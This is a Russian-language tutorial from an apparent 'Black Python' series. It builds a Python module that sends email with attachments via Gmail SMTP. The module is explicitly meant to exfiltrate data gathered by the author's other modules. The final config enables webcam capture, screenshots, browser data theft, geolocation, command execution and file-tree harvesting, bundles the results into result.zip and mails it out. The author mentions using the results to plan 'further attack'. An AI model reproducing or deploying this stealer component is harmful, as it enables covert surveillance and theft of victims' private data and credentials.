Приветствую!
Продолжаю разгонять тему статей Black Python, и на этот раз опишу процесс создания модуля по отправке писем на почту Gmail.
Mail
Функционал:
Использовать будем модули из стандартной библиотеки Python:
Разрешите почте принимать сообщения от приложений:
Перейдите по ссылке https://myaccount.google.com/security, и внизу страницы включите разрешение для приложений:
Письмо успешно отправлено-получено. Если у вас произошло прерывание, то:
TimeoutError или smtplib.SMTPServerDisconnected:
Неправильно указан порт. Попробуйте один из трех: 25, 587, 465. - Почему то они все рабочие, но не у всех (на одном компьютере отправляется только с 25, с другого только с 587)
smtplib.SMTPAuthenticationError:
Неправильные данные, проверьте login и password, если ошибку не обнаружили - зайдите в почту через браузер, возможно ситуация разъяснится.
Теперь разберем как прикреплять файлы. До инструкции отправки сообщения добавьте:
Записав инструкции в более читаемом порядке, в итоге получим:
На этом основы закрыли и приступим к созданию полноценного модуля. Отделим часть формирования сообщения от настроек подключения.
Выделив настройки подключения в отдельных класс, получим подобную структуру:
Обратите внимание, что при подключении функция обрабатывает список портов, это позволяет подключится хотя бы к одному порту, игнорируя ошибки подключения к другим.
Теперь разберемся с формированием сообщения. Для начала автоматизируем процесс прикрепления файла:
Добавим возможность прикрепления списка файлов:
Можно собирать все наработки в один класс:
Теперь свяжем эти классы еще одним:
По класике напишем менеджер для связи SendMail и конфигов:
Ввиду того, что мы держим настройки сервера в конфигурации, мы можем поменять smtp host:
Yandex {'host': 'smtp.yandex.ru', 'port': [465]}
Mail {'host': 'smtp.mail.ru', 'port': [465]}
Данные взяты у самих почтовиков - запрос 'mail smtp tls'. Однако, я пробовал только на Gmail, поэтому за этот способ ручаюсь.
Полученный модуль можно добавить в написанный раннее ModuleManager, тем самым отсылая себе на почту полученные данные, например архив result со всемы собранными файлами (однако лимит на размер отправляемых файлов около 100 мб). Файлы больше 100 мб Google предлагает сперва выложить на Google диск, поэтому, используя модуль Mail вместе с модулем Tree, не упаковывайте отфильтрованные файлы - они все равно не дойдут, а вот файл filter_tree.json запросто можно получить и проанализировать шаги для дальнейшей атаки.
К слову о связке: с момента написания ModuleManager, я вас уже познакомил с двумя модулями: Mail и Browser Data. Чтобы объединить их воедино в module_manager.py напишите:
В словарь module_set добавьте:
В программе module_manager все, остальные изменения производить в config.json:
Обратите внимание, что модули выполняются по порядку, поэтому модуль collect_result должен идти после всех функций по сбору данных, но перед mail. Также result.zip прописать в attach
Исходники + Исполняемый файл с конфигом в прикрепе.
Продолжаю разгонять тему статей Black Python, и на этот раз опишу процесс создания модуля по отправке писем на почту Gmail.
Функционал:
- Внешняя настройка сервера
- Смена авторизационных данных "на лету"
- Возможность прикреплять файлы
- Указание темы, текста сообщения, адресат (очевидное)
Использовать будем модули из стандартной библиотеки Python:
- smtplib - SMTP протокол клиент
- email - для работы с MIME (описывает стандарт передачи данных по почте)
Python:
def main():
# указываем данные для авторизации и тему с текстом сообщения
login = ''
password = ''
subject = 'black pyton - mail'
text_message = 'Текст сообщения'
# Подключимся к серверу smtp, указываем хост и порт
connection = smtplib.SMTP('smtp.gmail.com', 25)
# Делаем соединение защищенным (запускаем transport layer security)
connection.starttls()
# авторизуемся, указываем логин и пароль от почты
connection.login(login, password)
# формируем сообщение
# создаем объект multipart
msg = MIMEMultipart()
# заполняем поля от кого и кому (в данном случае от себя себе же)
msg['From'] = msg['To'] = login
# указываем тему сообщения
msg['Subject'] = subject
# текст сообщения должен быть прикреплен с указанием типа MIMEText
msg.attach(MIMEText(text_message.encode("utf-8"), "plain", "utf-8"))
# Отправляем письмо
connection.sendmail(msg['From'], msg['To'], msg.as_string())
Разрешите почте принимать сообщения от приложений:
Перейдите по ссылке https://myaccount.google.com/security, и внизу страницы включите разрешение для приложений:
Письмо успешно отправлено-получено. Если у вас произошло прерывание, то:
TimeoutError или smtplib.SMTPServerDisconnected:
Неправильно указан порт. Попробуйте один из трех: 25, 587, 465. - Почему то они все рабочие, но не у всех (на одном компьютере отправляется только с 25, с другого только с 587)
smtplib.SMTPAuthenticationError:
Неправильные данные, проверьте login и password, если ошибку не обнаружили - зайдите в почту через браузер, возможно ситуация разъяснится.
Теперь разберем как прикреплять файлы. До инструкции отправки сообщения добавьте:
Python:
# Текст
with open('file.txt', 'r') as fp:
# Читаем из файлового потока данные и преобразуем к нужному типу (MIMEText)
file_text = MIMEText(fp.read())
# Добавляем заголовок, поясняем, что это прикрепленный файл
file_text.add_header('Content-Disposition', 'attachment', filename='file.txt')
# прикрепляем к сообщению
msg.attach(file_text)
# Изображение
with open('file.png', 'rb') as fp:
file_image = MIMEImage(fp.read())
file_image.add_header('Content-Disposition', 'attachment', filename='file.png')
msg.attach(file_image)
# Любой файл
with open('file.zip', 'rb') as fp:
# определяем базовый тип и указываем изначальный формат и получаемый
file = MIMEBase('zip', 'zip')
# задаем нагрузку из потока
file.set_payload(fp.read())
# шифруем base64
encoders.encode_base64(file)
file.add_header('Content-Disposition', 'attachment', filename='file.zip')
msg.attach(file)
Записав инструкции в более читаемом порядке, в итоге получим:
Python:
import smtplib
from email import encoders
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
def main():
# user = ''
# password = ''
subject = 'black pyton - mail'
text_message = 'Текст сообщения'
connection = smtplib.SMTP('smtp.gmail.com', 25)
connection.starttls()
connection.login(user, password)
msg = MIMEMultipart()
msg['From'] = msg['To'] = user
msg['Subject'] = subject
msg.attach(MIMEText(text_message.encode("utf-8"), "plain", "utf-8"))
with open('file.txt', 'r') as fp:
file_text = MIMEText(fp.read())
with open('file.png', 'rb') as fp:
file_image = MIMEImage(fp.read())
with open('file.zip', 'rb') as fp:
file = MIMEBase('zip', 'zip')
file.set_payload(fp.read())
encoders.encode_base64(file)
file_text.add_header('Content-Disposition', 'attachment', filename='file.txt')
file_image.add_header('Content-Disposition', 'attachment', filename='file.png')
file.add_header('Content-Disposition', 'attachment', filename='file.zip')
msg.attach(file_text)
msg.attach(file_image)
msg.attach(file)
connection.sendmail(msg['From'], msg['To'], msg.as_string())
if __name__ == '__main__':
main()
На этом основы закрыли и приступим к созданию полноценного модуля. Отделим часть формирования сообщения от настроек подключения.
Выделив настройки подключения в отдельных класс, получим подобную структуру:
Python:
class ServerManager:
def __init__(self):
self.server = None
# функция подключения к серверу
def connect(self, host, ports):
# обходим все порты из списка
for port in ports:
try:
# пробуем подключится и создать безопасное подключение
self.server = smtplib.SMTP(host, port)
self.server.starttls()
# если подключились возвращаем True
return True
except:
# если не получается, то игнорируем
pass
# если не подключился ни к одному порту, то кидаем исключение
raise ConnectionError('No one port not found!')
def login(self, user, password):
try:
# Пробуем авторизоваться
self.server.login(user, password)
return True
except Exception as e:
raise ConnectionError(e)
def send_message(self, message):
try:
# Пробуем отправить сообщение
self.server.sendmail(message['From'], message['To'], message.as_string())
return True
except Exception as e:
raise ConnectionError(e)
def close(self):
try:
# Закрываем соединение
self.server.quit()
except Exception as e:
raise ConnectionAbortedError(e)
Обратите внимание, что при подключении функция обрабатывает список портов, это позволяет подключится хотя бы к одному порту, игнорируя ошибки подключения к другим.
Теперь разберемся с формированием сообщения. Для начала автоматизируем процесс прикрепления файла:
Python:
def attach_file(filename):
# определяем тип файла
try:
file_type = filename.split('.')[1]
except:
file_type = 'unknown'
try:
# Добавляем файл из потока (текст, изображение, что-то еще)
if file_type in ['txt']:
with open(filename, 'r') as fp:
file = MIMEText(fp.read())
elif file_type == ['png']:
with open(filename, 'rb') as fp:
file = MIMEImage(fp.read())
else:
with open(filename, 'rb') as fp:
file = MIMEBase(file_type, file_type)
file.set_payload(fp.read())
encoders.encode_base64(file)
# добавляем заголовок
file.add_header('Content-Disposition', 'attachment', filename=filename)
return file
except:
return None
Добавим возможность прикрепления списка файлов:
Python:
def collect_attach(attach_list):
# списки для успешно добавленных и не добавленных файлов
error_files = []
attach = []
# обходим список файлов
for file in attach_list:
# формируем структуру файла
new_file = attach_file(file)
# если сформировалось, то добавляем в список attach
if new_file:
attach.append(new_file)
else:
# иначе запоминаем имя файла
error_files.append(file)
# возвращаем оба списка в виде словаря
return {"attach": attach, "error_files": error_files}
Можно собирать все наработки в один класс:
Python:
class MailManager:
# класс с полями для всех нужных данных
def __init__(self, from_addr, to_addr, subject, message, attach):
self.from_addr = from_addr
self.to_addr = to_addr
self.subject = subject
self.message = message
self.attach = attach
self.msg = self.prepare_msg()
# подготовка сообщения к отправке
def prepare_msg(self):
msg = MIMEMultipart()
msg['From'], msg['To'] = self.from_addr, self.to_addr
# добавление списка файлов
collection = MailManager.collect_attach(self.attach)
for file in collection['attach']:
msg.attach(file)
# дополнительная функция для небольшой информативности на стороне получателя
self.change_mail(collection['error_files'])
msg['Subject'] = self.subject
msg.attach(MIMEText(self.message.encode("utf-8"), "plain", "utf-8"))
return msg
# функция для замены ключевых слов на данные
def change_mail(self, error_files=None):
# если в теме содержится слово node_os
if 'node_os' in self.subject:
# то заменяем его на имя компьютера и имя ос
self.subject = self.subject.replace('node_os', get_info('get_node'))
# Если в тексте сообщения 'error_list'
if 'error_list' in self.message:
# то к сообщению прикрепляем список файлов, которые не удалось прикрепить
files = ', '.join(error_files)
self.message = self.message.replace('error_list', f'Ошибка при загрузке файлов: {files}')
@staticmethod
def collect_attach(attach_list):
# списки для успешно добавленных и не добавленных файлов
error_files = []
attach = []
# обходим список файлов
for file in attach_list:
# формируем структуру файла
new_file = MailManager.attach_file(file)
# если сформировалось, то добавляем в список attach
if new_file:
attach.append(new_file)
else:
# иначе запоминаем имя файла
error_files.append(file)
# возвращаем оба списка в виде словаря
return {"attach": attach, "error_files": error_files}
@staticmethod
def attach_file(filename):
# определяем тип файла
try:
file_type = filename.split('.')[1]
except:
file_type = 'unknown'
try:
# Добавляем файл из потока (текст, изображение, что-то еще)
if file_type in ['txt']:
with open(filename, 'r') as fp:
file = MIMEText(fp.read())
elif file_type == ['png']:
with open(filename, 'rb') as fp:
file = MIMEImage(fp.read())
else:
with open(filename, 'rb') as fp:
file = MIMEBase(file_type, file_type)
file.set_payload(fp.read())
encoders.encode_base64(file)
# добавляем заголовок
file.add_header('Content-Disposition', 'attachment', filename=filename)
return file
except:
return None
Теперь свяжем эти классы еще одним:
Python:
# класс для взаимодействия модулей MailManager и ServerManager
class SendMail:
def __init__(self, config, login_data, mail):
# данные для авторизации вида: {'login': '', 'password': ''}
self.login_data = login_data
# данные для сервера вида: {'host': '', 'port': []}
self.config = config
# создаем экземпляр сервера (при инициализации пустой)
self.server = ServerManager()
# создаем экземпляр сообщения (в переменной self.msg.msg будет уже сформированное)
self.msg = MailManager(mail['from'], mail['to'], mail['subject'], mail['message'], mail['attach'])
# функция для подключения к серверу и отправки сообщения
def connect_and_send(self):
# пробуем подключиться
connection_status = self.server.connect(self.config['host'], self.config['port'])
# если получилось, то логинимся
if connection_status:
login_status = self.server.login(self.login_data['login'], self.login_data['password'])
# если залогинились, то отправляем сообщение
if login_status:
self.server.send_message(self.msg.msg)
# закрываем соединение
self.server.close()
По класике напишем менеджер для связи SendMail и конфигов:
Python:
def mail_manager(config):
# подрубаем логи ошибок
error_log = ErrorLog()
try:
# отправляем данные в SendMail
send_mail = SendMail(config['config'], config['login_data'], config['mail'])
# подключаемся, отправляем письмо
send_mail.connect_and_send()
except Exception as e:
# В случае ошибки добавляем ее и сохраняем
error_log.add('mail', e)
error_log.save_log(config['errors_log'])
# функция для запуска менеджера с конфигурацией mail_config (наглядная)
if __name__ == '__main__':
mail_config = {
"config": {"host": "smtp.gmail.com", "port": [25, 587, 465]},
"login_data": {"login": '', "password": ''},
"mail": {"from": "", "to": "",
"subject": "[node_os]", "message": "error_list", "attach": []},
"errors_log": "mail_errors.log"}
mail_manager(mail_config)
# загрузка конфигурации из файла
if __name__ == '__main__':
try:
with open('config.json', 'r') as config_file:
mail_config = json.load(config_file)
# Запуск механизма с загруженными настройками
mail_manager(mail_config)
except Exception as e:
print(e)
additional.py и error_log.py описаны в предыдущих статьях
Python:
import json
import smtplib
from email import encoders
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from additional import get_info
from error_log import ErrorLog
# класс для взаимодействия модулей MailManager и ServerManager
class SendMail:
def __init__(self, config, login_data, mail):
# данные для авторизации вида: {'login': '', 'password': ''}
self.login_data = login_data
# данные для сервера вида: {'host': '', 'port': []}
self.config = config
# создаем экземпляр сервера (при инициализации пустой)
self.server = ServerManager()
# создаем экземпляр сообщения (в переменной self.msg.msg будет уже сформированное)
self.msg = MailManager(mail['from'], mail['to'], mail['subject'], mail['message'], mail['attach'])
# функция для подключения к серверу и отправки сообщения
def connect_and_send(self):
# пробуем подключиться
connection_status = self.server.connect(self.config['host'], self.config['port'])
# если получилось, то логинимся
if connection_status:
login_status = self.server.login(self.login_data['login'], self.login_data['password'])
# если залогинились, то отправляем сообщение
if login_status:
self.server.send_message(self.msg.msg)
# закрываем соединение
self.server.close()
class MailManager:
# класс с полями для всех нужных данных
def __init__(self, from_addr, to_addr, subject, message, attach):
self.from_addr = from_addr
self.to_addr = to_addr
self.subject = subject
self.message = message
self.attach = attach
# сразу формируем сообщение
self.msg = self.prepare_msg()
# подготовка сообщения к отправке
def prepare_msg(self):
msg = MIMEMultipart()
msg['From'], msg['To'] = self.from_addr, self.to_addr
collection = MailManager.collect_attach(self.attach)
for file in collection['attach']:
msg.attach(file)
self.change_mail(collection['error_files'])
msg['Subject'] = self.subject
msg.attach(MIMEText(self.message.encode("utf-8"), "plain", "utf-8"))
return msg
def change_mail(self, error_files=None):
if 'node_os' in self.subject:
self.subject = self.subject.replace('node_os', get_info('get_node'))
if 'error_list' in self.message:
files = ', '.join(error_files)
self.message = self.message.replace('error_list', f'Ошибка при загрузке файлов: {files}')
@staticmethod
def collect_attach(attach_list):
# списки для успешно добавленных и не добавленных файлов
error_files = []
attach = []
# обходим список файлов
for file in attach_list:
# формируем структуру файла
new_file = MailManager.attach_file(file)
# если сформировалось, то добавляем в список attach
if new_file:
attach.append(new_file)
else:
# иначе запоминаем имя файла
error_files.append(file)
# возвращаем оба списка в виде словаря
return {"attach": attach, "error_files": error_files}
@staticmethod
def attach_file(filename):
# определяем тип файла
try:
file_type = filename.split('.')[1]
except:
file_type = 'unknown'
try:
# Добавляем файл из потока (текст, изображение, что-то еще)
if file_type in ['txt']:
with open(filename, 'r') as fp:
file = MIMEText(fp.read())
elif file_type == ['png']:
with open(filename, 'rb') as fp:
file = MIMEImage(fp.read())
else:
with open(filename, 'rb') as fp:
file = MIMEBase(file_type, file_type)
file.set_payload(fp.read())
encoders.encode_base64(file)
# добавляем заголовок
file.add_header('Content-Disposition', 'attachment', filename=filename)
return file
except:
return None
class ServerManager:
def __init__(self):
self.server = None
# функция подключения к серверу
def connect(self, host, ports):
# обходим все порты из списка
for port in ports:
try:
# пробуем подключится и создать безопасное подключение
self.server = smtplib.SMTP(host, port)
self.server.starttls()
# если подключились возвращаем True
return True
except:
# если не получается, то игнорируем
pass
# если не подключился ни к одному порту, то кидаем исключение
raise ConnectionError('No one port not found!')
def login(self, user, password):
try:
# Пробуем авторизоваться
self.server.login(user, password)
return True
except Exception as e:
raise ConnectionError(e)
def send_message(self, message):
try:
# Пробуем отправить сообщение
self.server.sendmail(message['From'], message['To'], message.as_string())
return True
except Exception as e:
raise ConnectionError(e)
def close(self):
try:
# Закрываем соединение
self.server.quit()
except Exception as e:
raise ConnectionAbortedError(e)
def mail_manager(config):
error_log = ErrorLog()
try:
send_mail = SendMail(config['config'], config['login_data'], config['mail'])
send_mail.connect_and_send()
except Exception as e:
error_log.add('mail', e)
error_log.save_log(config['errors_log'])
if __name__ == '__main__':
try:
with open('config.json', 'r') as config_file:
mail_config = json.load(config_file)
# Запуск механизма с загруженными настройками
mail_manager(mail_config)
except Exception as e:
print(e)
Ввиду того, что мы держим настройки сервера в конфигурации, мы можем поменять smtp host:
Yandex {'host': 'smtp.yandex.ru', 'port': [465]}
Mail {'host': 'smtp.mail.ru', 'port': [465]}
Данные взяты у самих почтовиков - запрос 'mail smtp tls'. Однако, я пробовал только на Gmail, поэтому за этот способ ручаюсь.
Полученный модуль можно добавить в написанный раннее ModuleManager, тем самым отсылая себе на почту полученные данные, например архив result со всемы собранными файлами (однако лимит на размер отправляемых файлов около 100 мб). Файлы больше 100 мб Google предлагает сперва выложить на Google диск, поэтому, используя модуль Mail вместе с модулем Tree, не упаковывайте отфильтрованные файлы - они все равно не дойдут, а вот файл filter_tree.json запросто можно получить и проанализировать шаги для дальнейшей атаки.
К слову о связке: с момента написания ModuleManager, я вас уже познакомил с двумя модулями: Mail и Browser Data. Чтобы объединить их воедино в module_manager.py напишите:
Python:
from mail import mail_manager
from browser_data import browser_data_manager
from tree import tree_manager
from geo_position import geo_manager
В словарь module_set добавьте:
Python:
module_set = {'source': pack_source_manager, 'collect_result': collect_manager, 'screenshot': screenshot_manager,
'webcam': webcam_manager, 'info': get_info_manager, 'run_cmd': run_cmd_manager, 'mail':mail_manager,
'browser_data': browser_data_manager, 'geo_position': geo_position_manager, 'tree': tree_manager}
В программе module_manager все, остальные изменения производить в config.json:
Код:
{
"source": {
"use": true,
"files": [
"config.json"
],
"sources": [],
"zip_filename": "result\\source.zip"
},
"screenshot": {
"use": true,
"mode": "pil",
"filename": "result\\screenshot.png"
},
"webcam": {
"use": true,
"filename": "result\\cam.png"
},
"info": {
"use": true,
"filename": "result\\info.txt"
},
"run_cmd": {
"use": true,
"filename": "result\\cmd.txt",
"cmd": "dir c:\\"
},
"browser_data": {
"use": true,
"filename": "result\\browser_data.json",
"errors_log": "result\\browser_data_errors.log"
},
"geo_position": {
"use": true,
"geo_raw_filename": "result\\geo\\geo_raw.json",
"coord_filename": "result\\geo\\geo_coord.json",
"errors_log": "result\\geo\\geo_error.log"
},
"tree": {
"use": true,
"start_path": ["all",0],
"filter": ["jpg"],
"load_tree_filename": "",
"filename": "result\\tree\\tree.json",
"filter_filename": "result\\tree\\filter_tree.json",
"filter_zip_filename": "result\\tree\\filter.zip",
"types_filename": "result\\tree\\type.json",
"info_filename": "result\\tree\\info.txt",
"errors_log": "result\\tree\\tree_errors.log"
},
"collect_result": {
"use": true,
"folder": "result",
"type": "zip"
},
"mail": {
"use": true,
"config": {"host": "smtp.gmail.com", "port": [25, 587, 465]},
"login_data": {"login": "", "password": ""},
"mail": {
"from": "", "to": "",
"subject": "[node_os]",
"message": "error_list",
"attach": ["result.zip"]
},
"errors_log": "mail_errors.log"
}
}